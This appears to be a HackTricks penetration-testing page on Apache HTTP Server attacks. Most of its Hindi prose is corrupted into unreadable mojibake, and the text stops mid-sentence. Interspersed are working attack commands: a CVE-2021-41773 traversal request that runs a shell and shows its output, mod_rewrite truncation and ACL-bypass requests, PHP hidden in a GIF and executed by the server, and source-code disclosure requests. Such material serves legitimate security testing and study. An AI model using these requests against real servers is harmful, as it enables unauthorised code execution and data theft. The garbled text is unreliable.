24 KiB
Apache
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Executable PHP extensions
рдЪреЗрдХ рдХрд░реЗрдВ рдХрд┐ рдХреМрди рд╕реА рдПрдХреНрд╕рдЯреЗрдВрд╢рди Apache рд╕рд░реНрд╡рд░ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд░рд╣реА рд╣реИред рдЙрдиреНрд╣реЗрдВ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
grep -R -B1 "httpd-php" /etc/apache2
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреБрдЫ рд╕реНрдерд╛рди рдЬрд╣рд╛рдБ рдЖрдк рдЗрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
{% code overflow="wrap" %}
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
{% endcode %}
Confusion Attack
рдЗрди рдкреНрд░рдХрд╛рд░ рдХреЗ рд╣рдорд▓реЛрдВ рдХреЛ Orange рджреНрд╡рд╛рд░рд╛ рдЗрд╕ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдореЗрдВ рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдПрдХ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИред "confusion" рд╣рдорд▓рд╛ рдореВрд▓ рд░реВрдк рд╕реЗ рдЗрд╕ рдмрд╛рдд рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИ рдХрд┐ рдХрдИ рдореЙрдбреНрдпреВрд▓ рдЬреЛ рдПрдХ рд╕рд╛рде рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ, Apache рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕рдордиреНрд╡рдпрд┐рдд рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЙрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рджреНрд╡рд╛рд░рд╛ рдХреБрдЫ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдмрд╛рдж рдХреЗ рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рдПрдХ рднреЗрджреНрдпрддрд╛ рдЙрддреНрдкрдиреНрди рд╣реЛ рд╕рдХрддреА рд╣реИред
Filename Confusion
Truncation
mod_rewrite
r->filename
рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ ?
рдХреЗ рдмрд╛рдж рдЯреНрд░рд┐рдо рдХрд░реЗрдЧрд╛ (modules/mappers/mod_rewrite.c#L4141). рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЧрд▓рдд рдирд╣реАрдВ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЕрдзрд┐рдХрд╛рдВрд╢ рдореЙрдбреНрдпреВрд▓ r->filename
рдХреЛ рдПрдХ URL рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рдЕрдиреНрдп рдЕрд╡рд╕рд░реЛрдВ рдкрд░ рдЗрд╕реЗ рдлрд╝рд╛рдЗрд▓ рдкрде рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рдПрдЧрд╛, рдЬреЛ рдПрдХ рд╕рдорд╕реНрдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ред
- Path Truncation
mod_rewrite
рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдирд┐рдпрдо рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░ рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рдЕрдкреЗрдХреНрд╖рд┐рдд рдкрде рдХреЗ рдЕрдВрддрд┐рдо рднрд╛рдЧ рдХреЛ рд╣рдЯрд╛рдХрд░ рдмрд╕ рдПрдХ ?
рдЬреЛрдбрд╝рдирд╛:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
#┬аthe output of file `/var/user/orange/secret.yml`
- рдЧрд▓рдд рджрд┐рд╢рд╛ рдореЗрдВ RewriteFlag рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд░реА-рд░рд╛рдЗрдЯ рдирд┐рдпрдо рдореЗрдВ, рдЬрдм рддрдХ URL .php рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рдЗрд╕реЗ php рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ ?
рдЪрд░ рдХреЗ рдмрд╛рдж .php рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ URL рднреЗрдЬрд╛ рдЬрд╛рдП рдЬрдмрдХрд┐ рдкрде рдореЗрдВ рдПрдХ рдЕрд▓рдЧ рдкреНрд░рдХрд╛рд░ рдХреА рдлрд╝рд╛рдЗрд▓ (рдЬреИрд╕реЗ рдХрд┐ рдПрдХ рдЫрд╡рд┐) рдХреЛ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬрд┐рд╕рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг php рдХреЛрдб рд╣реЛ:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХреЗ рдЬрд┐рдиреНрд╣реЗрдВ рдЙрд╕реЗ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП, рднрд▓реЗ рд╣реА рдкрд╣реБрдБрдЪ рдХреЛ рдЗрди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд╕рд╛рде рдЕрд╕реНрд╡реАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
рдпрд╣ рдЗрд╕ рдХрд╛рд░рдг рд╣реИ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ PHP-FPM рдЙрди URL рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ рдЬреЛ .php
рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ http://server/admin.php%3Fooo.php
рдФрд░ рдХреНрдпреЛрдВрдХрд┐ PHP-FPM ?
рдХреЗ рдмрд╛рдж рдХреА рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рдХреЛ рд╣рдЯрд╛ рджреЗрдЧрд╛, рдкреВрд░реНрд╡ рдХрд╛ URL /admin.php
рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛, рднрд▓реЗ рд╣реА рдкреВрд░реНрд╡ рдХрд╛ рдирд┐рдпрдо рдЗрд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реЛред
DocumentRoot Confusion
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
рдПрдХ рдордЬреЗрджрд╛рд░ рддрдереНрдп рдпрд╣ рд╣реИ рдХрд┐ Apache рдХрд╛ рдкрд┐рдЫрд▓рд╛ рдкреБрдирд░реНрд▓реЗрдЦрди рдлрд╝рд╛рдЗрд▓ рдХреЛ documentRoot рдФрд░ root рджреЛрдиреЛрдВ рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, https://server/abouth.html
рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдиреБрд░реЛрдз рдлрд╝рд╛рдЗрд▓ рдХреЛ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ /var/www/html/about.html
рдФрд░ /about.html
рдореЗрдВ рдЪреЗрдХ рдХрд░реЗрдЧрд╛ред рдЬрд┐рд╕реЗ рдореВрд▓ рд░реВрдк рд╕реЗ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рд╕реНрд░реЛрдд рдХреЛрдб рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛
- CGI рд╕реНрд░реЛрдд рдХреЛрдб рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдХрд░реЗрдВ
рдХреЗрд╡рд▓ рдЕрдВрдд рдореЗрдВ %3F рдЬреЛрдбрд╝рдирд╛ cgi рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЛ рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- PHP рд╕реНрд░реЛрдд рдХреЛрдб рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдХрд░реЗрдВ
рдпрджрд┐ рдПрдХ рд╕рд░реНрд╡рд░ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдбреЛрдореЗрди рд╣реИрдВ, рдЬрд┐рдирдореЗрдВ рд╕реЗ рдПрдХ рд╕реНрдерд┐рд░ рдбреЛрдореЗрди рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХреЛ рдкрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ php рдХреЛрдб рд▓реАрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
рд╕реНрдерд╛рдиреАрдп рдЧреИрдЬреЗрдЯреНрд╕ рд╣реЗрд░рдлреЗрд░
рдкрд┐рдЫрд▓реЗ рд╣рдорд▓реЗ рдХреА рдореБрдЦреНрдп рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдЕрдзрд┐рдХрд╛рдВрд╢ рдкрд╣реБрдБрдЪ рдХреЛ рдЕрд╕реНрд╡реАрдХреГрдд рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреИрд╕рд╛ рдХрд┐ Apache HTTP Server рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рд╣реИ:
<Directory />
AllowOverride None
Require all denied
</Directory>
рд╣рд╛рд▓рд╛рдВрдХрд┐, Debian/Ubuntu рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ /usr/share
рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Therefore, it would be possible to рдлрд╛рдЗрд▓реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ /usr/share
рдореЗрдВ рдЗрди рд╡рд┐рддрд░рдгреЛрдВ рдХреЗ рдЕрдВрджрд░ред
рд╕реНрдерд╛рдиреАрдп рдЧреИрдЬреЗрдЯ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛
- Apache HTTP Server рдХреЗ рд╕рд╛рде websocketd dump-env.php рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ /usr/share/doc/websocketd/examples/php/ рдкрд░ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╡рд╛рддрд╛рд╡рд░рдг рдЪрд░ рд▓реАрдХ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
- Nginx рдпрд╛ Jetty рд╡рд╛рд▓реЗ рд╕рд░реНрд╡рд░ рдЕрдкрдиреЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╡реЗрдм рд░реВрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЬрд╛рдирдХрд╛рд░реА (рдЬреИрд╕реЗ, web.xml) рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ /usr/share рдХреЗ рддрд╣рдд рд░рдЦреЗ рдЧрдП рд╣реИрдВ:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
рд╕реНрдерд╛рдиреАрдп рдЧреИрдЬреЗрдЯ рд╕реЗ XSS
- LibreOffice рд╕реНрдерд╛рдкрд┐рдд Ubuntu рдбреЗрд╕реНрдХрдЯреЙрдк рдкрд░, рд╕рд╣рд╛рдпрддрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рднрд╛рд╖рд╛ рд╕реНрд╡рд┐рдЪ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ Cross-Site Scripting (XSS) рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред /usr/share/libreoffice/help/help.html рдкрд░ URL рдХреЛ рдмрджрд▓рдиреЗ рд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреГрд╖реНрдареЛрдВ рдпрд╛ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ unsafe RewriteRule рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред
рд╕реНрдерд╛рдиреАрдп рдЧреИрдЬреЗрдЯ рд╕реЗ LFI
- рдпрджрд┐ PHP рдпрд╛ рдХреБрдЫ рдлреНрд░рдВрдЯ-рдПрдВрдб рдкреИрдХреЗрдЬ рдЬреИрд╕реЗ JpGraph рдпрд╛ jQuery-jFeed рд╕реНрдерд╛рдкрд┐рдд рд╣реИрдВ, рддреЛ рдЙрдирдХреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ /etc/passwd:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
рд╕реНрдерд╛рдиреАрдп рдЧреИрдЬреЗрдЯ рд╕реЗ SSRF
- MagpieRSS's magpie_debug.php рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП /usr/share/php/magpierss/scripts/magpie_debug.php рдкрд░, рдПрдХ SSRF рднреЗрджреНрдпрддрд╛ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрдирд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рдЖрдЧреЗ рдХреЗ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдПрдХ рдЧреЗрдЯрд╡реЗ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред
рд╕реНрдерд╛рдиреАрдп рдЧреИрдЬреЗрдЯ рд╕реЗ RCE
- Remote Code Execution (RCE) рдХреЗ рд▓рд┐рдП рдЕрд╡рд╕рд░ рд╡рд┐рд╢рд╛рд▓ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рдПрдХ рдкреБрд░рд╛рдирд╛ PHPUnit рдпрд╛ phpLiteAdminред рдЗрдирдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕реНрдерд╛рдиреАрдп рдЧреИрдЬреЗрдЯреНрд╕ рдХреЗ рд╣реЗрд░рдлреЗрд░ рдХреА рд╡реНрдпрд╛рдкрдХ рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред
рд╕реНрдерд╛рдиреАрдп рдЧреИрдЬреЗрдЯреНрд╕ рд╕реЗ рдЬреЗрд▓рдмреНрд░реЗрдХ
рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рд╕реЗ рдЬреЗрд▓рдмреНрд░реЗрдХ рдХрд┐рдпрд╛ рдЬрд╛рдП, рдЙрди рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рд╕рд┐рдорд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдХреЗ, рдЬреИрд╕реЗ:
- Cacti Log:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr Data:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr Config:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki Config:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕рд┐рдорд▓рд┐рдВрдХ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП Redmine рдореЗрдВ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ред
рд╣реИрдВрдбрд▓рд░ рднреНрд░рдо
рдпрд╣ рд╣рдорд▓рд╛ AddHandler
рдФрд░ AddType
рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдмреАрдЪ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рдУрд╡рд░рд▓реИрдк рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИ, рдЬрд┐рдиреНрд╣реЗрдВ PHP рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдореВрд▓ рд░реВрдк рд╕реЗ, рдпреЗ рдирд┐рд░реНрджреЗрд╢ рд╕рд░реНрд╡рд░ рдХреА рдЖрдВрддрд░рд┐рдХ рд╕рдВрд░рдЪрдирд╛ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдХреНрд╖реЗрддреНрд░реЛрдВ (r->handler
рдФрд░ r->content_type
рдХреНрд░рдорд╢рдГ) рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреЗ рдереЗред рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╡рд┐рд░рд╛рд╕рдд рдХреЛрдб рдХреЗ рдХрд╛рд░рдг, Apache рдЗрди рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рдХреБрдЫ рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд рдкрд░рд╕реНрдкрд░ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИ, рдпрджрд┐ рдкреВрд░реНрд╡ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд╣реИ рдФрд░ рдмрд╛рдж рд╡рд╛рд▓рд╛ рдирд╣реАрдВ рд╣реИ рддреЛ r->content_type
рдХреЛ r->handler
рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, Apache HTTP Server (server/config.c#L420
) рдореЗрдВ, рдпрджрд┐ r->handler
ap_run_handler()
рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЦрд╛рд▓реА рд╣реИ, рддреЛ рд╕рд░реНрд╡рд░ r->content_type
рдХреЛ рд╣реИрдВрдбрд▓рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ AddType
рдФрд░ AddHandler
рдХреЛ рдкреНрд░рднрд╛рд╡ рдореЗрдВ рд╕рдорд╛рди рдмрдирд╛ рджреЗрддрд╛ рд╣реИред
PHP рд╕реНрд░реЛрдд рдХреЛрдб рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВрдбрд▓рд░ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ
рдЗрд╕ рд╡рд╛рд░реНрддрд╛ рдореЗрдВ рдПрдХ рднреЗрджреНрдпрддрд╛ рдкреНрд░рд╕реНрддреБрдд рдХреА рдЧрдИ рдереА рдЬрд╣рд╛рдВ рдПрдХ рдЧрд▓рдд Content-Length
рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рднреЗрдЬрд╛ рдЧрдпрд╛ рдерд╛, Apache рдХреЛ рдЧрд▓рддреА рд╕реЗ PHP рд╕реНрд░реЛрдд рдХреЛрдб рд▓реМрдЯрд╛рдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред рдпрд╣ ModSecurity рдФрд░ Apache Portable Runtime (APR) рдХреЗ рд╕рд╛рде рдПрдХ рддреНрд░реБрдЯрд┐ рд╣реИрдВрдбрд▓рд┐рдВрдЧ рд╕рдорд╕реНрдпрд╛ рдХреЗ рдХрд╛рд░рдг рдерд╛, рдЬрд╣рд╛рдВ рдПрдХ рдбрдмрд▓ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ r->content_type
рдХреЛ text/html
рдкрд░ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрдирддреА рд╣реИред
рдХреНрдпреЛрдВрдХрд┐ ModSecurity рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд▓реМрдЯрд╛рдП рдЧрдП рдорд╛рдиреЛрдВ рдХреЛ рд╕рдВрднрд╛рд▓ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ PHP рдХреЛрдб рд▓реМрдЯрд╛рдПрдЧрд╛ рдФрд░ рдЗрд╕реЗ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред
XXXX рдХреЗ рд▓рд┐рдП рд╣реИрдВрдбрд▓рд░ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ
TODO: Orange рдиреЗ рдЕрднреА рддрдХ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ
рдордирдорд╛рдиреЗ рд╣реИрдВрдбрд▓рд░реНрд╕ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░реЗрдВ
рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ Content-Type
рд╣реЗрдбрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рд╡рд╣ рдордирдорд╛рдиреЗ рдореЙрдбреНрдпреВрд▓ рд╣реИрдВрдбрд▓рд░реНрд╕ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЬрдм рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЕрдзрд┐рдХрд╛рдВрд╢ рдЕрдиреБрд░реЛрдз рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреВрд░реА рд╣реЛ рдЪреБрдХреА рд╣реЛрдЧреАред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ Location
